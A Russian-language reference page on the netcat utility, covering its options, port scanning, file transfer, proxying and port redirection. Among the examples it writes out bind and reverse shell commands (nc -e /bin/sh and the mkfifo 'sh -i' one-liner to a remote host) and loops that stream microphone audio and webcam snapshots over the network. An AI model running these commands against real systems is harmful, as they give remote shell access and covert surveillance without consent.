Netcat

Netcat - это сетевой инструмент, её основная задача – проверка портов.

$ nc -nv 192.168.0.178 80
$ nc -nlvp 4444
$ nc -nv 192.168.0.178 4444
$ nc -v 127.1.0.1 3306
$ echo "help" | nc 192.168.1.132 2181
  • -h Справка; ничего не делается
  • -v Дополнительная диагностика (verbose)
  • -o выходной_файл Выводить дампы данных
  • -i число Задержка между отправляемыми данными (в секундах)
  • -t Совместимость с Telnet
  • -z Не посылать данные (сканирование портов)
  • -u Подключаться по UDP (вместо TCP)
  • -l Пассивный режим (прослушивание порта)
  • -p число * Локальный номер порта (для -l)
  • -s host Использовать заданный локальный («свой») IP-адрес
  • -n Отключить DNS и поиск номеров портов по /etc/services
  • -w число Задать тайм-аут (в секундах)
  • -q число Задать время ожидания после EOF на входе (в секундах)
  • -e исполняемый_файл ! Запустить указанную программу для обмена данных с сетью (вместо стандартных ввода и вывода)
  • -с команда ! То же, в виде команды для /bin/sh
  • -k Продолжить слушать другие соединения после того как текущее соединение было завершено.

Утилита netcat по сути не делает ничего, кроме копирования данных в сетевой порт и из него, но при этом с ее помощью можно:

$ nc -nlv 8080 > /tmp/log.txt &
$ echo -n "GET / HTTP/1.0\r\n\r\n" | nc 127.0.0.1 8080
$ cat /tmp/log.txt
$ nc -lp 8080 > /tmp/log.txt &
$ nc 0.0.0.0 8080
$ cat /tmp/log.txt

(первую команду выполняем на принимающей машине, вторую - на передающей:

  $ nc -l 31334 > filename
  $ nc 172.16.69.143 31334 < filename

(первая - сервер, вторая - клиент):

  $ nc -f /var/log/messages | nc -l 31334
  $ nc 172.16.69.143 31334

(первая - telnet-сервер, вторая - клиент):

  $ nc -l -p 31334 -e /bin/sh
  $ nc 172.16.69.143 31334
$ nc -z execbit.ru 1-1024
$ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color
$ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color

Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/tmp/f):

$ nc -lvnp 8080
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.132 8080 >/tmp/f
  $ echo "QUIT" | nc execbit.ru 1-1024

(первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):

  $ nc -e /bin/sh 172.16.69.143 31334
  $ nc -l -p 31334

(сервер, клиент):

  $ arecord -f dat -t raw | nc -l 31337
  $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg

(сервер, клиент):

  $ while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done
  $ nc localhost 31337 > photo.jpeg

Однако, важно понимать, что существует несколько версий netcat, поведение которых может отличаться. Экземпляр, поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших дней. Все пять приведенных примеров он отработает без проблем. Версия под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет.

Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP:

  $ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \
  172.16.69.143 31334

Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси:

  $ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334

В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect говорит о том, что он работает с протоколом HTTP. Также поддерживаются SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5.

Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd:

  $ echo 'redirect-2525-to-25 2525/tcp' >> /etc/services
  $ echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \
  >> /etc/inetd.conf
  $ killall -HUP inetd

Теперь весь трафик, пришедший на порт 2525, будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом мы можем завернуть трафик с любого порта на другой порт/машину, просто видоизменив первые две команды.

Кстати, пользователи дистрибутивов Linux могут вообще не заморачиваться с netcat: демон xinetd, ставший стандартом в Linux-системах, сам умеет перенаправлять сетевой трафик:

cat /etc/xinetd/redirect

  
  service redirect-2525-to-25
  {
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    wait = no
    port = 2525
    redirect = 127.0.0.1 25
    user = nobody
  }
 2017/01/01 15:21linkbacks Linkbacks, , ,
 2015/10/13 09:01linkbacks Linkbacks, , , ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2015/10/13 09:01linkbacks Linkbacks, , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2016/08/22 21:42linkbacks Linkbacks, , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , , , ,
 2018/06/17 20:32linkbacks Linkbacks, , , , , , , , , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , ,
 2015/10/13 09:01linkbacks Linkbacks
 2015/10/13 09:01linkbacks Linkbacks, , , , , , , , ,
 2024/08/22 17:05linkbacks Linkbacks, , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , ,
 2016/09/10 15:12linkbacks Linkbacks,
 2016/09/10 15:10linkbacks Linkbacks,
 2015/10/13 09:01linkbacks Linkbacks, , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2016/04/04 13:08linkbacks Linkbacks, ,
 2015/10/13 09:01linkbacks Linkbacks, , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , , , , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , ,
 2018/03/10 12:23linkbacks Linkbacks, , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2015/10/13 09:01linkbacks Linkbacks, , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2015/10/13 09:01linkbacks Linkbacks, , ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2015/10/13 09:01linkbacks Linkbacks, , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , ,
 2015/10/13 09:01linkbacks Linkbacks, , , , ,
 2015/10/13 09:01linkbacks Linkbacks, ,
 2016/03/30 08:47linkbacks Linkbacks, , , , , ,
 2015/10/13 09:01linkbacks Linkbacks, ,